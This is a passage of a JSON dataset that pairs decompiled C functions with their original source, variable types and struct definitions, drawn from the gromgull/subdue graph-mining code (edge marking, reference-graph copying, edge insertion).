[ [ "MarkGraphEdgesUsed", "->" ], [ "MarkGraphEdgesValid", "->" ], [ "MarkRefGraphInstanceEdges", "->" ], [ "CopyReferenceGraph", "->" ], [ "AddReferenceEdge", "->", "AddRefEdgeToRefVertices" ], [ "FreeReferenceGraph", "->", "FreeRefInstanceListNode" ], [ "AddRefEdgeToRefVertices", "->", "AddReferenceEdge" ], [ "SortIndices", "->", "Partition" ], [ "Partition", "->", "SortIndices" ], [ "AllocateRefInstanceListNode", "->" ], [ "AllocateRefInstanceList", "->" ], [ "FreeRefInstanceListNode", "->", "FreeReferenceGraph" ], [ "CopyInstance", "->" ], [ "VertexInSubList", "->", "VertexInSub" ], [ "VertexInSub", "->", "VertexInSubList" ] ]
[]
[ { "name": "MarkGraphEdgesUsed", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall MarkGraphEdgesUsed(__int64 a1, __int64 a2, char a3)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+1Ch] [rbp-8h]\n\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 25) = a3;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func0(__int64 a1, __int64 a2, char a3)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+1Ch] [rbp-8h]\n\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 25) = a3;\n}\nreturn result;\n}", "original_code": "void MarkGraphEdgesUsed(ReferenceGraph *refGraph, Graph *fullGraph,\n BOOLEAN value)\n{\n ULONG e;\n for (e = 0; e < refGraph->numEdges; e++)\n fullGraph->edges[refGraph->edges[e].map].used = value;\n}", "canonical_original_code": "void MarkGraphEdgesUsed(struct ReferenceGraph *refGraph, struct Graph *fullGraph, unsigned char value)\n{\n unsigned long e;\n for (e = 0; e < refGraph->numEdges; e++)\n fullGraph->edges[refGraph->edges[e].map].used = value;\n}", "variable_types": [ [ "refGraph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "fullGraph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "value", "unsigned char" ], [ "e", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "MarkGraphEdgesValid", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall MarkGraphEdgesValid(__int64 a1, __int64 a2, char a3)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+1Ch] [rbp-8h]\n\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\nif ( a3 )\n{\nif ( *(_BYTE *)(*(_QWORD *)(a1 + 24) + 48 * i + 34) )\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 27) = 0;\nelse\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 27) = 1;\n}\nelse\n{\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 27) = 1;\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func1(__int64 a1, __int64 a2, char a3)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+1Ch] [rbp-8h]\n\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\nif ( a3 )\n{\nif ( *(_BYTE *)(*(_QWORD *)(a1 + 24) + 48 * i + 34) )\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 27) = 0;\nelse\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 27) = 1;\n}\nelse\n{\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 32LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 48 * i + 40) + 27) = 1;\n}\n}\nreturn result;\n}", "original_code": "void MarkGraphEdgesValid(ReferenceGraph *refGraph, Graph *fullGraph,\n BOOLEAN mark)\n{\n ULONG e;\n for (e = 0; e < refGraph->numEdges; e++)\n {\n if (mark)\n {\n if (refGraph->edges[e].failed)\n fullGraph->edges[refGraph->edges[e].map].validPath = 0;\n else\n fullGraph->edges[refGraph->edges[e].map].validPath = 1;\n }\n else\n fullGraph->edges[refGraph->edges[e].map].validPath = 1;\n }\n}", "canonical_original_code": "void MarkGraphEdgesValid(struct ReferenceGraph *refGraph, struct Graph *fullGraph, unsigned char mark)\n{\n unsigned long e;\n for (e = 0; e < refGraph->numEdges; e++)\n {\n if (mark)\n {\n if (refGraph->edges[e].failed)\n fullGraph->edges[refGraph->edges[e].map].validPath = 0;\n else\n fullGraph->edges[refGraph->edges[e].map].validPath = 1;\n }\n else\n fullGraph->edges[refGraph->edges[e].map].validPath = 1;\n }\n}", "variable_types": [ [ "refGraph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "fullGraph", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "mark", "unsigned char" ], [ "e", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "MarkRefGraphInstanceEdges", "canonical_name": "func2", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall MarkRefGraphInstanceEdges(__int64 a1, __int64 a2, char a3)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+1Ch] [rbp-8h]\n\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 48LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 8 * i) + 33) = a3;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func2(__int64 a1, __int64 a2, char a3)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+1Ch] [rbp-8h]\n\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\n*(_BYTE *)(*(_QWORD *)(a2 + 24) + 48LL * *(_QWORD *)(*(_QWORD *)(a1 + 24) + 8 * i) + 33) = a3;\n}\nreturn result;\n}", "original_code": "void MarkRefGraphInstanceEdges(Instance *instance, ReferenceGraph *refGraph,\n BOOLEAN value)\n{\n ULONG e;\n for (e = 0; e < instance->numEdges; e++)\n refGraph->edges[instance->edges[e]].used = value;\n}", "canonical_original_code": "void MarkRefGraphInstanceEdges(struct _instance *instance, struct ReferenceGraph *refGraph, unsigned char value)\n{\n unsigned long e;\n for (e = 0; e < instance->numEdges; e++)\n refGraph->edges[instance->edges[e]].used = value;\n}", "variable_types": [ [ "instance", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *" ], [ "refGraph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "value", "unsigned char" ], [ "e", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "CopyReferenceGraph", "canonical_name": "func3", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall CopyReferenceGraph(unsigned __int64 *a1)\n{\n__int64 v1; // rbx\nunsigned __int64 v3; // [rsp+10h] [rbp-40h]\n__int64 v4; // [rsp+18h] [rbp-38h]\nunsigned __int64 v5; // [rsp+20h] [rbp-30h]\nunsigned __int64 v6; // [rsp+28h] [rbp-28h]\nunsigned __int64 j; // [rsp+30h] [rbp-20h]\nunsigned __int64 k; // [rsp+30h] [rbp-20h]\nunsigned __int64 i; // [rsp+38h] [rbp-18h]\n\nv6 = *a1;\nv5 = a1[1];\nv4 = AllocateReferenceGraph(*a1, v5);\nfor ( i = 0LL; i < v6; ++i )\n{\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i) = *(_QWORD *)(40 * i + a1[2]);\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 24) = *(_QWORD *)(40 * i + a1[2] + 24);\n*(_BYTE *)(*(_QWORD *)(v4 + 16) + 40 * i + 32) = *(_BYTE *)(40 * i + a1[2] + 32);\n*(_BYTE *)(*(_QWORD *)(v4 + 16) + 40 * i + 33) = *(_BYTE *)(40 * i + a1[2] + 33);\nv3 = *(_QWORD *)(a1[2] + 40 * i + 8);\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 8) = v3;\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 16) = 0LL;\nif ( v3 )\n{\nv1 = *(_QWORD *)(v4 + 16) + 40 * i;\n*(_QWORD *)(v1 + 16) = malloc(8 * v3);\nif ( !*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 16) )\nOutOfMemoryError(\"CopyGraph:edges\");\nfor ( j = 0LL; j < v3; ++j )\n*(_QWORD *)(8 * j + *(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 16)) = *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * i + 16)\n+ 8 * j);\n}\n}\nfor ( k = 0LL; k < v5; ++k )\n{\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k) = *(_QWORD *)(48 * k + a1[3]);\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k + 8) = *(_QWORD *)(48 * k + a1[3] + 8);\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k + 24) = *(_QWORD *)(48 * k + a1[3] + 24);\n*(_BYTE *)(*(_QWORD *)(v4 + 24) + 48 * k + 32) = *(_BYTE *)(48 * k + a1[3] + 32);\n*(_BYTE *)(*(_QWORD *)(v4 + 24) + 48 * k + 33) = *(_BYTE *)(48 * k + a1[3] + 33);\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k + 40) = *(_QWORD *)(48 * k + a1[3] + 40);\n*(_BYTE *)(*(_QWORD *)(v4 + 24) + 48 * k + 34) = *(_BYTE *)(48 * k + a1[3] + 34);\n}\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(unsigned __int64 *a1)\n{\n__int64 v1; // rbx\nunsigned __int64 v3; // [rsp+10h] [rbp-40h]\n__int64 v4; // [rsp+18h] [rbp-38h]\nunsigned __int64 v5; // [rsp+20h] [rbp-30h]\nunsigned __int64 v6; // [rsp+28h] [rbp-28h]\nunsigned __int64 j; // [rsp+30h] [rbp-20h]\nunsigned __int64 k; // [rsp+30h] [rbp-20h]\nunsigned __int64 i; // [rsp+38h] [rbp-18h]\n\nv6 = *a1;\nv5 = a1[1];\nv4 = AllocateReferenceGraph(*a1, v5);\nfor ( i = 0LL; i < v6; ++i )\n{\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i) = *(_QWORD *)(40 * i + a1[2]);\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 24) = *(_QWORD *)(40 * i + a1[2] + 24);\n*(_BYTE *)(*(_QWORD *)(v4 + 16) + 40 * i + 32) = *(_BYTE *)(40 * i + a1[2] + 32);\n*(_BYTE *)(*(_QWORD *)(v4 + 16) + 40 * i + 33) = *(_BYTE *)(40 * i + a1[2] + 33);\nv3 = *(_QWORD *)(a1[2] + 40 * i + 8);\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 8) = v3;\n*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 16) = 0LL;\nif ( v3 )\n{\nv1 = *(_QWORD *)(v4 + 16) + 40 * i;\n*(_QWORD *)(v1 + 16) = malloc(8 * v3);\nif ( !*(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 16) )\nOutOfMemoryError(\"CopyGraph:edges\");\nfor ( j = 0LL; j < v3; ++j )\n*(_QWORD *)(8 * j + *(_QWORD *)(*(_QWORD *)(v4 + 16) + 40 * i + 16)) = *(_QWORD *)(*(_QWORD *)(a1[2] + 40 * i + 16)\n+ 8 * j);\n}\n}\nfor ( k = 0LL; k < v5; ++k )\n{\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k) = *(_QWORD *)(48 * k + a1[3]);\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k + 8) = *(_QWORD *)(48 * k + a1[3] + 8);\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k + 24) = *(_QWORD *)(48 * k + a1[3] + 24);\n*(_BYTE *)(*(_QWORD *)(v4 + 24) + 48 * k + 32) = *(_BYTE *)(48 * k + a1[3] + 32);\n*(_BYTE *)(*(_QWORD *)(v4 + 24) + 48 * k + 33) = *(_BYTE *)(48 * k + a1[3] + 33);\n*(_QWORD *)(*(_QWORD *)(v4 + 24) + 48 * k + 40) = *(_QWORD *)(48 * k + a1[3] + 40);\n*(_BYTE *)(*(_QWORD *)(v4 + 24) + 48 * k + 34) = *(_BYTE *)(48 * k + a1[3] + 34);\n}\nreturn v4;\n}", "original_code": "ReferenceGraph *CopyReferenceGraph(ReferenceGraph *g)\n{\n ReferenceGraph *gCopy;\n ULONG nv;\n ULONG ne;\n ULONG v;\n ULONG e;\n ULONG numEdges;\n nv = g->numVertices;\n ne = g->numEdges;\n gCopy = AllocateReferenceGraph(nv, ne);\n for (v = 0; v < nv; v++)\n {\n gCopy->vertices[v].label = g->vertices[v].label;\n gCopy->vertices[v].map = g->vertices[v].map;\n gCopy->vertices[v].used = g->vertices[v].used;\n gCopy->vertices[v].vertexValid = g->vertices[v].vertexValid;\n numEdges = g->vertices[v].numEdges;\n gCopy->vertices[v].numEdges = numEdges;\n gCopy->vertices[v].edges = ((void *)0);\n if (numEdges > 0)\n {\n gCopy->vertices[v].edges =\n (ULONG *) malloc (numEdges * sizeof (ULONG));\n if (gCopy->vertices[v].edges == ((void *)0))\n OutOfMemoryError (\"CopyGraph:edges\");\n for (e = 0; e < numEdges; e++)\n gCopy->vertices[v].edges[e] = g->vertices[v].edges[e];\n }\n }\n for (e = 0; e < ne; e++)\n {\n gCopy->edges[e].vertex1 = g->edges[e].vertex1;\n gCopy->edges[e].vertex2 = g->edges[e].vertex2;\n gCopy->edges[e].label = g->edges[e].label;\n gCopy->edges[e].directed = g->edges[e].directed;\n gCopy->edges[e].used = g->edges[e].used;\n gCopy->edges[e].map = g->edges[e].map;\n gCopy->edges[e].failed = g->edges[e].failed;\n }\n return gCopy;\n}", "canonical_original_code": "struct ReferenceGraph *CopyReferenceGraph(struct ReferenceGraph *g)\n{\n struct ReferenceGraph *gCopy;\n unsigned long nv;\n unsigned long ne;\n unsigned long v;\n unsigned long e;\n unsigned long numEdges;\n nv = g->numVertices;\n ne = g->numEdges;\n gCopy = AllocateReferenceGraph(nv, ne);\n for (v = 0; v < nv; v++)\n {\n gCopy->vertices[v].label = g->vertices[v].label;\n gCopy->vertices[v].map = g->vertices[v].map;\n gCopy->vertices[v].used = g->vertices[v].used;\n gCopy->vertices[v].vertexValid = g->vertices[v].vertexValid;\n numEdges = g->vertices[v].numEdges;\n gCopy->vertices[v].numEdges = numEdges;\n gCopy->vertices[v].edges = ((void *)0);\n if (numEdges > 0)\n {\n gCopy->vertices[v].edges =\n (unsigned long *) malloc (numEdges * sizeof (ULONG));\n if (gCopy->vertices[v].edges == ((void *)0))\n OutOfMemoryError (\"CopyGraph:edges\");\n for (e = 0; e < numEdges; e++)\n gCopy->vertices[v].edges[e] = g->vertices[v].edges[e];\n }\n }\n for (e = 0; e < ne; e++)\n {\n gCopy->edges[e].vertex1 = g->edges[e].vertex1;\n gCopy->edges[e].vertex2 = g->edges[e].vertex2;\n gCopy->edges[e].label = g->edges[e].label;\n gCopy->edges[e].directed = g->edges[e].directed;\n gCopy->edges[e].used = g->edges[e].used;\n gCopy->edges[e].map = g->edges[e].map;\n gCopy->edges[e].failed = g->edges[e].failed;\n }\n return gCopy;\n}", "variable_types": [ [ "g", "struct ReferenceGraph *" ], [ "gCopy", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "nv", "unsigned long" ], [ "ne", "unsigned long" ], [ "v", "unsigned long" ], [ "e", "unsigned long" ], [ "numEdges", "unsigned long" ] ], "return_type": "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *", "user_defined_types": [ "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }" ], "binary_hash": "0c4d898981fde6c3f787e388049e373a082e814d04cf1425bff6c59d76f321ea" }, { "name": "AddReferenceEdge", "canonical_name": "func4", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall AddReferenceEdge(__int64 a1, __int64 a2, __int64 a3, char a4, __int64 a5, char a6)\n{\n__int64 result; // rax\nvoid *v11; // [rsp+30h] [rbp-10h]\n__int64 v12; // [rsp+38h] [rbp-8h]\n__int64 v13; // [rsp+38h] [rbp-8h]\n\nv12 = *(_QWORD *)(a1 + 40);\nif ( v12 == *(_QWORD *)(a1 + 8) )\n{\nv13 = v12 + 100;\nv11 = realloc(*(void **)(a1 + 24), 48 * v13);\nif ( !v11 )\nOutOfMemoryError(\"AddEdge:newEdgeList\");\n*(_QWORD *)(a1 + 24) = v11;\n*(_QWORD *)(a1 + 40) = v13;\n}\n*(_QWORD *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8)) = a2;\n*(_QWORD *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 8) = a3;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 16) = a6;\n*(_QWORD *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 24) = a5;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 32) = a4;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 33) = 0;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 34) = 0;\nAddRefEdgeToRefVertices(a1, *(_QWORD *)(a1 + 8));\nresult = a1;\n++*(_QWORD *)(a1 + 8);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, __int64 a2, __int64 a3, char a4, __int64 a5, char a6)\n{\n__int64 result; // rax\nvoid *v11; // [rsp+30h] [rbp-10h]\n__int64 v12; // [rsp+38h] [rbp-8h]\n__int64 v13; // [rsp+38h] [rbp-8h]\n\nv12 = *(_QWORD *)(a1 + 40);\nif ( v12 == *(_QWORD *)(a1 + 8) )\n{\nv13 = v12 + 100;\nv11 = realloc(*(void **)(a1 + 24), 48 * v13);\nif ( !v11 )\nOutOfMemoryError(\"AddEdge:newEdgeList\");\n*(_QWORD *)(a1 + 24) = v11;\n*(_QWORD *)(a1 + 40) = v13;\n}\n*(_QWORD *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8)) = a2;\n*(_QWORD *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 8) = a3;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 16) = a6;\n*(_QWORD *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 24) = a5;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 32) = a4;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 33) = 0;\n*(_BYTE *)(*(_QWORD *)(a1 + 24) + 48LL * *(_QWORD *)(a1 + 8) + 34) = 0;\nfunc6(a1, *(_QWORD *)(a1 + 8));\nresult = a1;\n++*(_QWORD *)(a1 + 8);\nreturn result;\n}", "original_code": "void AddReferenceEdge(ReferenceGraph *graph, ULONG sourceVertexIndex,\n ULONG targetVertexIndex, BOOLEAN directed,\n ULONG labelIndex, BOOLEAN spansIncrement)\n{\n ReferenceEdge *newEdgeList;\n ULONG edgeListSize = graph->edgeListSize;\n if (edgeListSize == graph->numEdges)\n {\n edgeListSize += 100;\n newEdgeList =\n (ReferenceEdge *) realloc(graph->edges, (sizeof (ReferenceEdge) * edgeListSize));\n if (newEdgeList == ((void *)0))\n OutOfMemoryError(\"AddEdge:newEdgeList\");\n graph->edges = newEdgeList;\n graph->edgeListSize = edgeListSize;\n }\n graph->edges[graph->numEdges].vertex1 = sourceVertexIndex;\n graph->edges[graph->numEdges].vertex2 = targetVertexIndex;\n graph->edges[graph->numEdges].spansIncrement = spansIncrement;\n graph->edges[graph->numEdges].label = labelIndex;\n graph->edges[graph->numEdges].directed = directed;\n graph->edges[graph->numEdges].used = 0;\n graph->edges[graph->numEdges].failed = 0;\n AddRefEdgeToRefVertices(graph, graph->numEdges);\n graph->numEdges++;\n}", "canonical_original_code": "void AddReferenceEdge(struct ReferenceGraph *graph, unsigned long sourceVertexIndex, unsigned long targetVertexIndex, unsigned char directed, unsigned long labelIndex, unsigned char spansIncrement)\n{\n struct ReferenceEdge *newEdgeList;\n unsigned long edgeListSize = graph->edgeListSize;\n if (edgeListSize == graph->numEdges)\n {\n edgeListSize += 100;\n newEdgeList =\n (struct ReferenceEdge *) realloc(graph->edges, (sizeof (ReferenceEdge) * edgeListSize));\n if (newEdgeList == ((void *)0))\n OutOfMemoryError(\"AddEdge:newEdgeList\");\n graph->edges = newEdgeList;\n graph->edgeListSize = edgeListSize;\n }\n graph->edges[graph->numEdges].vertex1 = sourceVertexIndex;\n graph->edges[graph->numEdges].vertex2 = targetVertexIndex;\n graph->edges[graph->numEdges].spansIncrement = spansIncrement;\n graph->edges[graph->numEdges].label = labelIndex;\n graph->edges[graph->numEdges].directed = directed;\n graph->edges[graph->numEdges].used = 0;\n graph->edges[graph->numEdges].failed = 0;\n AddRefEdgeToRefVertices(graph, graph->numEdges);\n graph->numEdges++;\n}", "variable_types": [ [ "graph", "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; } *vertices; struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *" ], [ "sourceVertexIndex", "unsigned long" ], [ "targetVertexIndex", "unsigned long" ], [ "directed", "unsigned char" ], [ "labelIndex", "unsigned long" ], [ "spansIncrement", "unsigned char" ], [ "newEdgeList", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; } *" ], [ "edgeListSize", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct ReferenceGraph { unsigned long numVertices; unsigned long numEdges; struct ReferenceVertex *vertices; struct ReferenceEdge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct ReferenceEdge { unsigned long vertex1; unsigned long vertex2; unsigned char spansIncrement; unsigned long label; unsigned char directed; unsigned char used; unsigned char failed; unsigned long map; }", "struct ReferenceVertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; unsigned char vertexValid; }" ], "binary_hash": 